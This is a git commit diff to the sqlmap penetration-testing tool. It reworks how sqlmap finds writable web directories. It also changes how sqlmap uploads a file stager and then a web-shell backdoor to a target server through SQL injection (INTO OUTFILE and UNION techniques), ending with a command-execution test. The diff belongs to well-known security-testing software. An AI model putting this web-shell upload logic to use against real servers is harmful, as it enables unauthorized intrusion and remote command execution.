fixed and improved web shell upload in MySQL (it was actually broken since fc57b7565d)

This commit is contained in:
Bernardo Damele 2014-01-13 17:12:37 +00:00
parent 6863436d4e
commit dfa9076a70
2 changed files with 157 additions and 149 deletions

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
@ -610,15 +610,15 @@ def paramToDict(place, parameters=None):
return testableParameters
def getDocRoot():
docRoot = None
def getManualDirectories():
directories = None
pagePath = directoryPath(conf.path)
defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
if kb.absFilePaths:
for absFilePath in kb.absFilePaths:
if docRoot:
if directories:
break
if directoryPath(absFilePath) == '/':
@ -636,41 +636,41 @@ def getDocRoot():
_ = "/%s/" % _
if _ in absFilePath:
docRoot = "%s%s" % (absFilePath.split(_)[0], _)
directories = "%s%s" % (absFilePath.split(_)[0], _)
break
if pagePath and pagePath in absFilePath:
docRoot = absFilePath.split(pagePath)[0]
directories = absFilePath.split(pagePath)[0]
if windowsDriveLetter:
docRoot = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(docRoot))
directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
docRoot = normalizePath(docRoot)
directories = normalizePath(directories)
if docRoot:
infoMsg = "retrieved the web server document root: '%s'" % docRoot
if directories:
infoMsg = "retrieved the web server document root: '%s'" % directories
logger.info(infoMsg)
else:
warnMsg = "unable to retrieve automatically the web server "
warnMsg += "document root"
logger.warn(warnMsg)
docRoot = []
directories = []
message = "what do you want to use for web server document root?\n"
message = "what do you want to use for writable directory?\n"
message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot)
message += "[2] custom location\n"
message += "[2] custom location(s)\n"
message += "[3] custom directory list file\n"
message += "[4] brute force search\n"
choice = readInput(message, default="1").strip()
if choice == "2":
message = "please provide the web server document root: "
docRoot = readInput(message, default="").split(',')
message = "please provide a comma separate list of absolute directory paths: "
directories = readInput(message, default="").split(',')
elif choice == "3":
message = "what's the list file location?\n"
listPath = readInput(message, default="")
checkFile(listPath)
docRoot = getFileItems(listPath)
directories = getFileItems(listPath)
elif choice == "4":
targets = set([conf.hostname])
_ = conf.hostname.split('.')
@ -691,31 +691,30 @@ def getDocRoot():
for target in targets:
item = "%s/%s" % (prefix, suffix)
item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
docRoot.append(item)
directories.append(item)
if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
break
infoMsg = "using common document root locations: %s" % ','.join(docRoot)
infoMsg = "using common directories: %s" % ','.join(directories)
logger.info(infoMsg)
msg = "use additional custom "
msg += "document root locations [Enter for None]: "
msg = "use additional custom directories [Enter for None]: "
answer = readInput(msg)
if answer:
docRoot.extend(answer.split(','))
directories.extend(answer.split(','))
else:
docRoot = defaultDocRoot
directories = defaultDocRoot
return docRoot
return directories
def getDirs():
def getAutoDirectories():
directories = set("/")
if kb.absFilePaths:
infoMsg = "retrieved web server full paths: "
infoMsg = "retrieved web server absolute paths: "
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
logger.info(infoMsg)
@ -728,7 +727,8 @@ def getDirs():
warnMsg = "unable to retrieve automatically any web server path"
logger.warn(warnMsg)
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/", conf.url)
webDir = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url)
if webDir:
directories.add(webDir)

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
@ -17,8 +17,8 @@ from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import extractRegexResult
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import getAutoDirectories
from lib.core.common import getManualDirectories
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet
from lib.core.common import getUnicode
@ -194,8 +194,9 @@ class Web:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = arrayizeValue(getDocRoot())
directories = sorted(getDirs())
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = sorted(set(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
@ -204,66 +205,48 @@ class Web:
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in kb.docRoot:
for directory in directories:
if success:
break
for directory in directories:
uriPath = ""
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
if not isWindowsDriveLetterPath(directory) and directory[0] != '/':
directory = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
directory = posixpath.normpath(directory)
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT INTO OUTFILE technique"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, localPath)
self._webFileInject(stagerContent, stagerName, directory)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
for x in list(re.finditer('/', directory)):
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
# Fall-back to UNION queries file upload technique
if "sqlmap file uploader" not in uplPage:
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION technique"
logger.info(infoMsg)
@ -272,7 +255,7 @@ class Web:
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@ -280,13 +263,38 @@ class Web:
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
for x in list(re.finditer('/', directory)):
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():])
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, stagerName))).replace("//", "/").rstrip('/')
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
else:
continue
if not uploaded:
self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port)
self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName)
self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName)))
debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
@ -296,7 +304,7 @@ class Web:
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
@ -316,7 +324,7 @@ class Web:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent):
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
@ -332,14 +340,14 @@ class Web:
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, localPath)
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
self.webDirectory = directory
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, backdoorName))).replace("//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)